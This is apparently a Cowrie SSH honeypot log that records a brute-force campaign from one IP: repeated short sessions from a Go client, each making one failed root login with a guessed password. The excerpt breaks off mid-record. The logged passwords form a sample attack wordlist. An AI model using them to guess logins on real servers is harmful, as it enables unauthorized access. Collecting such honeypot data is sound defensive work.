{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:34.546138Z","src_ip":"60.165.124.241","session":"7220eebcde86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":43178,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b8f9b32458a","protocol":"ssh","message":"New connection: 60.165.124.241:43178 (10.17.0.5:22) [session: 7b8f9b32458a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:34.796956Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:34.805127Z","src_ip":"60.165.124.241","session":"7b8f9b32458a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:35.060458Z","src_ip":"60.165.124.241","session":"7b8f9b32458a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Jy123456","message":"login attempt [root/Jy123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:37.184364Z","src_ip":"60.165.124.241","session":"7b8f9b32458a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:38.441733Z","src_ip":"60.165.124.241","session":"7b8f9b32458a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":47764,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba17c34c3425","protocol":"ssh","message":"New connection: 60.165.124.241:47764 (10.17.0.5:22) [session: ba17c34c3425]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:41.701024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:41.705194Z","src_ip":"60.165.124.241","session":"ba17c34c3425","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:41.971463Z","src_ip":"60.165.124.241","session":"ba17c34c3425","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"serverroot","message":"login attempt [root/serverroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:42.769589Z","src_ip":"60.165.124.241","session":"ba17c34c3425","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:44.038714Z","src_ip":"60.165.124.241","session":"ba17c34c3425","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":54162,"dst_ip":"10.17.0.5","dst_port":22,"session":"6dd7fb8f8afe","protocol":"ssh","message":"New connection: 60.165.124.241:54162 (10.17.0.5:22) [session: 6dd7fb8f8afe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:44.288257Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:44.303449Z","src_ip":"60.165.124.241","session":"6dd7fb8f8afe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:44.559211Z","src_ip":"60.165.124.241","session":"6dd7fb8f8afe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alupigus","message":"login attempt [root/alupigus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:48.282243Z","src_ip":"60.165.124.241","session":"6dd7fb8f8afe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:49.540554Z","src_ip":"60.165.124.241","session":"6dd7fb8f8afe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":60794,"dst_ip":"10.17.0.5","dst_port":22,"session":"a8a5d438da9b","protocol":"ssh","message":"New connection: 60.165.124.241:60794 (10.17.0.5:22) [session: a8a5d438da9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:49.790803Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:49.795769Z","src_ip":"60.165.124.241","session":"a8a5d438da9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:50.049836Z","src_ip":"60.165.124.241","session":"a8a5d438da9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Bd123456","message":"login attempt [root/Bd123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:53.858982Z","src_ip":"60.165.124.241","session":"a8a5d438da9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.3","message":"Connection lost after 5.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:55.119292Z","src_ip":"60.165.124.241","session":"a8a5d438da9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":38840,"dst_ip":"10.17.0.5","dst_port":22,"session":"bfe46296f3c7","protocol":"ssh","message":"New connection: 60.165.124.241:38840 (10.17.0.5:22) [session: bfe46296f3c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:55.369910Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:55.381881Z","src_ip":"60.165.124.241","session":"bfe46296f3c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:55.636848Z","src_ip":"60.165.124.241","session":"bfe46296f3c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"centos2023","message":"login attempt [root/centos2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:58.459963Z","src_ip":"60.165.124.241","session":"bfe46296f3c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:00.316573Z","src_ip":"60.165.124.241","session":"bfe46296f3c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":45026,"dst_ip":"10.17.0.5","dst_port":22,"session":"498e4c0fc70d","protocol":"ssh","message":"New connection: 60.165.124.241:45026 (10.17.0.5:22) [session: 498e4c0fc70d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:00.565874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:00.571588Z","src_ip":"60.165.124.241","session":"498e4c0fc70d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:01.529546Z","src_ip":"60.165.124.241","session":"498e4c0fc70d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sanfrancisco","message":"login attempt [root/sanfrancisco] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:02.265914Z","src_ip":"60.165.124.241","session":"498e4c0fc70d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:03.516084Z","src_ip":"60.165.124.241","session":"498e4c0fc70d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":48790,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f650ffd0f09","protocol":"ssh","message":"New connection: 60.165.124.241:48790 (10.17.0.5:22) [session: 3f650ffd0f09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:03.750396Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:03.762206Z","src_ip":"60.165.124.241","session":"3f650ffd0f09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:04.004468Z","src_ip":"60.165.124.241","session":"3f650ffd0f09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"20042004","message":"login attempt [root/20042004] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:04.738292Z","src_ip":"60.165.124.241","session":"3f650ffd0f09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:05.984879Z","src_ip":"60.165.124.241","session":"3f650ffd0f09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":51644,"dst_ip":"10.17.0.5","dst_port":22,"session":"530292e8f427","protocol":"ssh","message":"New connection: 60.165.124.241:51644 (10.17.0.5:22) [session: 530292e8f427]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:06.219415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:06.225209Z","src_ip":"60.165.124.241","session":"530292e8f427","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:06.464864Z","src_ip":"60.165.124.241","session":"530292e8f427","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome@2025","message":"login attempt [root/Welcome@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:07.189842Z","src_ip":"60.165.124.241","session":"530292e8f427","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:08.434746Z","src_ip":"60.165.124.241","session":"530292e8f427","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":54980,"dst_ip":"10.17.0.5","dst_port":22,"session":"f595dc949eb1","protocol":"ssh","message":"New connection: 60.165.124.241:54980 (10.17.0.5:22) [session: f595dc949eb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:08.673352Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:08.678424Z","src_ip":"60.165.124.241","session":"f595dc949eb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","r